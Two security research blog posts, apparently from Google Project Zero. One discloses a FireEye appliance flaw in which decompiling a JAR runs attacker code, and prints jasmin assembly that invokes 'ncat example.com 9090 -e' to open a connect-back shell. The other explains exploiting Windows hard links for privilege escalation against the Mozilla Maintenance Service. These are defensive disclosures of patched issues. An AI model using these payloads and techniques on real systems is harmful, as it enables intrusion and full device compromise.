Tuesday, December 15, 2015

FireEye Exploitation: Project Zero’s Vulnerability of the Beast

Posted by Tavis Ormandy, Chief Silver Bullet Skeptic.
FireEye sell security appliances to enterprise and government customers. FireEye’s flagship products are monitoring devices designed to be installed at egress points of large networks, i.e. where traffic flows from the intranet to the internet.

To give a brief overview, an organization installs a FireEye device on their internal network, then connects it to a SPAN or mirror port at an egress point (these are monitoring ports built into professional networking equipment).

The FireEye device then watches all network traffic passively, monitoring common protocols like HTTP, FTP, SMTP, etc, for any transferred files. If a file transfer is detected (for example, an email attachment or a HTTP download) the FireEye extracts the file and scans it for malware.

In principle, if a user receives a malicious email or visits a malicious website, the FireEye device observes the traffic and alerts the network administrator. FireEye also make appliances specifically intended to monitor file servers and mail exchangers, among others.
For networks with deployed FireEye devices, a vulnerability that can be exploited via the passive monitoring interface would be a nightmare scenario. This would mean an attacker would only have to send an email to a user to gain access to a persistent network tap - the recipient wouldn’t even have to read the email, just receiving it would be enough.

A network tap is one of the most privileged machines on the network, with access to employee’s email, passwords, downloads, browsing history, confidential attachments, everything. In some deployment configurations* an attacker could tamper with traffic, inserting backdoors or worse. Because FireEye devices typically have a secondary internet-connected interface for updates and management, the issue could even be wormable across the internet.

In this blog post we’ll discuss 666, a vulnerability discovered by Project Zero that could be exploited via the passive monitoring interface.

FireEye have issued a patch for this vulnerability, and customers who have not updated should do so immediately to protect their infrastructure.

* FireEye devices can be configured in IPS mode, which can modify the monitored traffic.
 This issue just happened to be the 666th Project Zero advisory.

Frequently Asked Questions

Q. How do I check if my FireEye appliance is vulnerable to this issue?
A. In general, devices with security content release 427.334 and higher have this issue resolved. FireEye have posted official information regarding this vulnerability at https://www.fireeye.com/support/notices.html.

Q. Which FireEye products are affected by this vulnerability?
A. The NX, FX, AX and EX series are affected by this vulnerability in their default configuration.

Q. How long did FireEye take to resolve this issue after it was reported?
A. FireEye responded very quickly, pushed out temporary mitigations to customers within hours of our report and resolved the issue completely within 2 days.

Q. Have FireEye supported your security research?
A. Yes, FireEye have been very cooperative. They worked with us closely, provided test equipment, support, and have responded very quickly to any issues we reported.

Q. I cannot update my FireEye appliance, what temporary mitigation steps can I take?
A. Mitigations are available, contact FireEye support for instructions. It's my understanding that even if your support contract has expired, FireEye support will assist you with mitigating this issue.

Lab Setup

Project Zero have been evaluating a FireEye NX 7500 appliance, and created a lab to generate sample traffic. The test environment consisted of a workstation with four network interfaces. Two interfaces were connected to a hub, which were used for simulating network traffic.

The FireEye passive monitoring interface (called pether3) was connected to a third port on the hub (acting like a mirror port) so that it could observe traffic being exchanged between the two interfaces on the test machine. This simulates an intranet user receiving email or downloading files from the internet.

The additional interfaces were used for the FireEye management interface, and LAN access.
This is a tricky routing configuration, in particular, getting traffic between the two local interfaces (eth2, eth3) to flow through the hub requires some knowledge of how local routing works on Linux.

In this case, I want the simulated network on and the management interface on This requires adjusting the local routing table and creating device specific rules accordingly.

# First, make sure Linux will accept local<->hub<->local traffic
echo 1 > /proc/sys/net/ipv4/conf/all/accept_local

# Give the two interfaces connected to the hub static addresses.
ip addr add dev eth2
ip addr add dev eth3

# Route traffic destined for each address to the *opposite* device
ip route add dev eth2
ip route add dev eth3

# Force Linux to forget that these are local interfaces so the traffic actually reaches the hub.
ip route del table local
ip route del table local

# Now add corresponding rules for each interface
ip rule add iif eth2 lookup 100
ip route add local dev eth2 table 100
ip rule add iif eth3 lookup 101
ip route add local dev eth3 table 101

To make the management interface accessible, configure the ether1 interface on the FireEye via ttyS0 with a static address on the correct subnet.

# Enable the management interface on my workstation
ifconfig eth1 up netmask

# Now configure the management interface on the FireEye
fireeye> no interface ether1 dhcp
fireeye> interface ether1 ip address

This allows access to the FireEye device via the management interface, and to generate simulated traffic across the network tap from the same machine.

Once this is configured, to simulate a user downloading a file from the internet, you simply download across

# Start a python web server to simulate a website
$ sudo python -m SimpleHTTPServer 80 &

# Create a file to download
$ echo hello > test.txt

# Download the file across the hub, so that the FireEye can see it

Logging in to the FireEye management interface and using tcpdump to verify the passive interface can see the simulated network traffic:

fireeye> tcpdump -i pether3
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on pether3, link-type EN10MB (Ethernet), capture size 262144 bytes
13:38:30.980073 IP > Flags [S], seq 2112408534, win 29200, options [mss 1460,sackOK,TS val 1133741089 ecr 0,nop,wscale 7], length 0
13:38:30.981065 IP > Flags [R.], seq 0, ack 2112408535, win 0, length 0
2 packets captured
2 packets received by filter
0 packets dropped by kernel

This confirms that the FireEye is successfully monitoring the simulated network.

FireEye Architecture

The main analyses performed by the FireEye appliance are monitoring for known malicious traffic (blacklisted netblocks, malware domains, snort rules, etc), static analysis of transferred files (antivirus, yara rules, and analysis scripts), and finally tracing the execution of transferred files in instrumented virtual machines. Once an execution trace has been generated, pattern matching against known-bad behaviour is performed.

The primary components involved in these stages are bott, mip and silverfish respectively.

fireeye> show pm process bott
Process bott (Network Content Processing Engine)
     Current status:  running
     PID:             14745
     Uid:             0
     Gid:             0
fireeye> show pm process mip
Process mip (Malware Input Processor)
fireeye> show pm process silverfish
Process silverfish (Submit files for VM analysis)

The MIP (Malware Input Processor) subsystem is responsible for the static analysis of files, invoking helper programs and plugins to decode various file types. For example, the swf helper invokes flasm to disassemble flash files, the dmg helper invokes p7zip to extract the contents of Mac OS Disk Images and the png helper invokes pngcheck to check for malformed images.

The jar helper is used to analyze captured Java Archives, which checks for signatures using jarsigner, then attempts to decompile the contents using an open source Java decompiler called JODE.

Once the decompilation completes, it checks for known-malicious code patterns in the decompiler output, for example:

   regex = re.compile(".*class [a-zA-Z0-9]+ extends Applet")
   regexScript = re.compile(".*javax.script.ScriptEngine")
   regexReflection = re.compile(".*java.lang.reflect")

As JODE is open source, the code is available for study. Examining the code, it wasn’t immediately obvious to me that it’s safe to decompile untrusted classes. JODE makes extensive use of reflection and even contains a simple java virtual machine it uses for analysis.
This SimpleRuntimeEnvironment class is used by JODE to deobfuscate strings by dynamically executing some of the bytecode. This code in particular attempts to handle method invocation in static constructors.
This looked scary enough for further investigation, so I extracted the JODE package from the FireEye device to examine it more closely. The jdb debugger confirms that the OPTION_DECRYPT setting is enabled, and that the SimpleVirtualMachine class is defined:

$ jdb -classpath "." net.sf.jode.decompiler.Main test.jar
Initializing jdb ...
> stop in net.sf.jode.expr.InvokeOperator.deobfuscateString
Deferring breakpoint net.sf.jode.expr.InvokeOperator.deobfuscateString.
It will be set after the class is loaded
> run
main[1] dump net.sf.jode.decompiler.Options.options
net.sf.jode.decompiler.Options.options = 831

This means that by sending a JAR across the network, we can get the FireEye to execute it simply by pretending to use string obfuscation.


In order to construct a class file that passes JODE’s heuristic for obfuscated strings, we used the jasmin assembler, which gives us the flexibility to create classes that are not possible with javac.

With some trial and error, we were eventually able to construct a class that JODE would execute, and used it to invoke java.lang.Runtime.getRuntime().exec(), which allows us to execute arbitrary shell commands. This worked during our testing, and we were able to execute commands just by transferring JAR files across the passive monitoring interfaces.

As FireEye is shipped with ncat installed by default, creating a connect-back shell is as simple as specifying the command we want and the address of our control server. Here is the sample jasmin code we used, simply using ncat to execute /usr/bin/id and send the result over the network:

.method public static obf(Ljava/lang/String;)Ljava/lang/String;
   .limit locals 1
   .limit stack 8
   invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;
   ldc "ncat example.com 9090 -e /usr/bin/id"
   invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;
   ldc "test"
.end method

The full jasmin assembly file is available on the Project Zero issue tracker. Now we simply construct a JAR file for FireEye to decompile:

$ jasmin ReverseShell.j
$ jar cvf fireeye.jar ReverseShell.class
added manifest
adding: ReverseShell.class(in = 489) (out= 311)(deflated 36%)
Start a listener for my connectback shell:

$ nc -lp 9090 &
[1] 11115

Now download a file over the monitored network, to simulate an attacker emailing the JAR, or a user clicking a link.

$ curl &> /dev/null

Then simply wait for the connect back shell attempt, which can take a few minutes depending on the machine load.

$ wait
uid=821(mip) gid=3111(mip)
[1]+  Done                    nc -lp 9090

We successfully have code execution on the FireEye machine!

Privilege Escalation

We now have code execution as user mip, the Malware Input Processor. The mip user is already quite privileged, capable of accessing sensitive network data. However, as ███ █████ ███████ ███ █████████████ ███ ████████, there is a very simple privilege escalation to root. This is because ███ █████ █████████████ ██ ████████ ██ ████ █████.

FireEye have requested additional time to prepare a fix for the privilege escalation component of this attack.

fireeye# id                                                           
uid=0(admin) gid=0(root) groups=0(root)

And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action.


Putting these steps together, an attacker can send an email to a user or get them to click a link, and completely compromise one of the most privileged machines on the network.

This allows exfiltration of confidential data, tampering with traffic, lateral movement around networks and even self-propagating internet worms.

If you would like to read more from our series on attacks against security products, we have also published research into ESET, Kaspersky, Sophos, Avast and more, with further research scheduled for release soon.


This vulnerability was discovered by Tavis Ormandy and Natalie Silvanovich of Google Project Zero.

Many thanks to FireEye for supporting our research and working with us to improve security.

Friday, December 4, 2015

Between a Rock and a Hard Link

Posted by James Forshaw, File System Enthusiast

In a previous blog post I described some of the changes that Microsoft has made to the handling of symbolic links from a sandboxed process. This has an impact on the exploitation of privileged file overwrites for sandbox escapes. Windows does support another method of linking files together, Hard Links, which have some similar properties to file level symbolic links but also some downsides. Hard Links were not originally banned from a sandbox so given the right vulnerability we can still develop an exploit. Of course in some circumstances Hard Links can also be useful for exploiting some types of system level privilege escalation. This short blog post describes the pros and cons of Hard Links as an exploitation primitive and demonstrates its use in a real world vulnerability CVE-2015-4481. Also I’ll quickly show what’s changed after the MS15-115 update, which breaks the attack from a sandboxed context.

NTFS Hard Links

Hard Links, the ability to logically link a single file to multiple names on the same file system together, has been a feature of the Windows NTFS file system since it was originally designed. It was most likely added for POSIX compatibility. In Windows 2000 the CreateHardlink API was introduced to allow a program to create these links in an official way from Windows applications.

Why are hard links useful for local privilege escalation? One type of vulnerability is exploited by a file planting attack, where a privilege service tries to write to a file in a known location. The most flexible approach is to use symbolic links but creating these for single files reliably is tricky, especially now in sandboxed applications. To create file symbolic links on Windows you either need to control the entire directory to apply a Mount Point or you need to be an administrator to set a file level symbolic link. When you’re exploiting file writes to an arbitrary directory such as C:\ProgramData this is probably not achievable and if you already have administrator privileges it doesn’t really matter. So having the ability to drop a file which links to another file is a very useful primitive. If you can then get a privileged service to overwrite the target file it’ll cause corruption or in the ideal case privilege escalation.

Fortunately it looks like we don’t even need to write our own tool; since the release of Vista the command shell has an inbuilt command, MKLINK, which will create a hard link. All you need to do is pass the /H option. If we try and use this command we immediately come across a problem as shown in the following screenshot.
We can create a link to a file we already control but we can’t create a link to a file we don’t have write access to. This completely removes any utility from a local EoP perspective, if we can only overwrite files we can already write to it isn’t much of a concern. We could stop right here and give up, but where’s the fun in that. First let’s look at the actual implementation of CreateHardlink to see what privileges it’s asking for.

BOOL CreateHardLinkW(LPCWSTR lpFileName, LPCWSTR lpExistingFileName) {
 NTSTATUS status;
 OBJECT_ATTRIBUTES ObjectAttributes;  
 HANDLE FileHandle;

 if (!RtlDosPathNameToNtPathName_U(lpExistingFileName, &ntname))
   return FALSE;
 InitializeObjectAttributes(&ObjectAttributes, &ntname, ...);
 status = NtOpenFile(&FileHandle, SYNCHRONIZE | FILE_WRITE_ATTRIBUTES,
                 &ObjectAttributes, ...);
 if (status < 0)
   return FALSE;

 if (!RtlDosPathNameToNtPathName_U(lpFileName, &target))
   return FALSE;
 PFILE_LINK_INFORMATION LinkInfo = RtlAllocateHeap(target.Length + 16);
 memmove(LinkInfo->FileName, target.Buffer, target.Length);
 LinkInfo->ReplaceIfExisting = FALSE;
 LinkInfo->RootDirectory =  NULL;
 LinkInfo->FileNameLength = target.Length;
 status = NtSetInformationFile(FileHandle, LinkInfo,
             target.Length + 16, FileLinkInformation);
 if ( status < 0 )
   return FALSE;      
 return TRUE;

When the target file is opened the desired access is requesting FILE_WRITE_ATTRIBUTES, this kind of makes some sense, there’s a hard link count in the file’s directory entry so perhaps we need to write to the target file entry in some way? Still what would happen if we just open the file for read, would it still work? As the call to ZwSetInformationFile with the FileLinkInformation class is documented let’s just reimplement the function but not request write permissions when opening the linked to file.

Spoiler, if we try the new function it works without needing write access to the target file. This makes it much more useful. Of course if we’d just looked at the kernel implementation we’d have seen that we didn’t need any specific access rights to the file. In ZwSetInformationFile a call is made to ObReferenceObjectByHandle to get the underlying file object. This takes a desired access parameter, which turns out to be 0 for the FileLinkInformation information class. We don’t need to hold any access on the target file at all, we just need a handle to it with any assigned permissions.

Not every case of file overwrite vulnerabilities can be exploited using hard links. The Win32 and standard C library APIs don’t provide many options to prevent the attack outside of requiring that the file doesn’t already exist. The MoveFile API is secure (as long as you don’t pass the MOVEFILE_COPY_ALLOWED flag to MoveFileEx which would simulate a copy operation) as it always replaces the file entry.

So the pros and cons of Hard Links are:


  • Can create a new hard link at the file level without privileges even in sandboxes (well, originally).


  • Must have write access to the directory where the hard link will be placed, can’t just do it from a handle
  • Can only overwrite existing files which you can open for access, can’t create new files
  • Can’t redirect a MoveFile operation (except cross drive), but can redirect CopyFile.
  • Can only link to files on the same volume
  • Can’t link directories to each other

I’ve added an implementation of this technique to my Symbolic Link Testing Tools suite available in Github here.

Quick Exploit, Mozilla Maintenance Service

Let’s see this in a real world exploit; you can read up on the issue in the Project Zero bug tracker here. The vulnerability was in the Mozilla Maintenance Service, which is installed by default. This is a system service which allows Mozilla applications such as Firefox to update without needing administrator privileges. One interesting feature of this service is it can be started by any user on the system and takes command line arguments to specify the update process. This is in contrast to similar services for other products, which typically automatically update via the Internet without the user account being involved.

When an update process is started by the user application the service writes out a status log to the directory C:\ProgramData\Mozilla\logs under the name maintenanceservice.log. This is interesting as ProgramData’s default permissions allow a normal user to create new files in its subdirectories. There is a problem, however: if we look at the permissions on the logs directory (shown below), while any user can create a new file only the owner, through the CREATOR OWNER SID, gets permission to delete it. This means we can’t just delete the log file and replace it with a hard link as the owner is SYSTEM.
Fortunately if we look at the code there’s a window of opportunity, before creating the log file a call is made to the BackupOldLogs function. This function moves each log file to a new numbered log, this ends up freeing up the initial log directory entry for a brief window of time as shown below.  
As we can create a new file in the directory we can replace the log file directory entry with a hard link to an existing file we want to overwrite. The service will then open and write to that file entry as SYSTEM, which means we can overwrite many files on the system. While we can’t completely control the contents of the file that gets written, we can inject commands through the service’s command line (it doesn’t check for new-lines etc.). This at least gives us the ability to cause a local DoS on the system by overwriting a critical file, or we can replace certain script files such as Powershell modules, which could get executed in a privileged context and the parser doesn’t care so much about garbage in the file. Ultimately in this case the real issue was that the user could write to the log directory, and this was changed to writing logs into the service’s program files directory instead.

So What’s Changed?

I was originally going to describe this trick as a replacement for Symbolic Links inside a sandbox in my 44con presentation on Windows 10 security. Microsoft requested I send them the slides, which I did for their own interest. After reviewing them they felt the fact that this was usable from a sandboxed context effectively gets around some of the restrictions they were adding regards Symbolic Links so asked me to not present the information. While I’d publicly disclosed this technique in the Maintenance Service issue (as well as a vulnerability in Adobe Reader CVE-2015-4446) and so pointed out the information was already available I did agree to the redaction with a promise they would fix it in a security bulletin.

That bulletin, MS15-115, came out in the November patch releases and the fix is referenced as CVE-2015-6113. The fix adds the following code to the kernel’s NtSetInformationFile function.

ACCESS_MASK RequiredAccess = 0;

if (FileInformationClass == FileLinkInformation) {
 if (RtlIsSandboxedToken()) {
   RequiredAccess |= FILE_WRITE_ATTRIBUTES;

// Will return STATUS_ACCESS_DENIED if we don't have access
ObReferenceObjectByHandle(FileHandle, RequiredAccess, ...);

This mitigates the issue in sandboxed processes as it now requires FILE_WRITE_ATTRIBUTES permission on the file handle, which matches with what the CreateHardLink function expects. This would fix the vulnerability in Adobe Reader but would do nothing for the Maintenance Service vulnerability.


Hopefully this blog at least gives you an idea of how to use Hard Links on Windows. It should also give you an impression that you should never trust the documented interfaces for an operating system to behave as documented. This technique can be used to exploit local system services that try and write known files to directories the user can create files in, including things like ProgramData and the Windows Temp folder. Almost certainly there are other similar vulnerabilities that you could find.

It’s good to see MSRC again taking a practical approach to improving sandbox security by closing off known attack techniques. Keep looking for more changes that use the RtlIsSandboxedToken API as time goes on.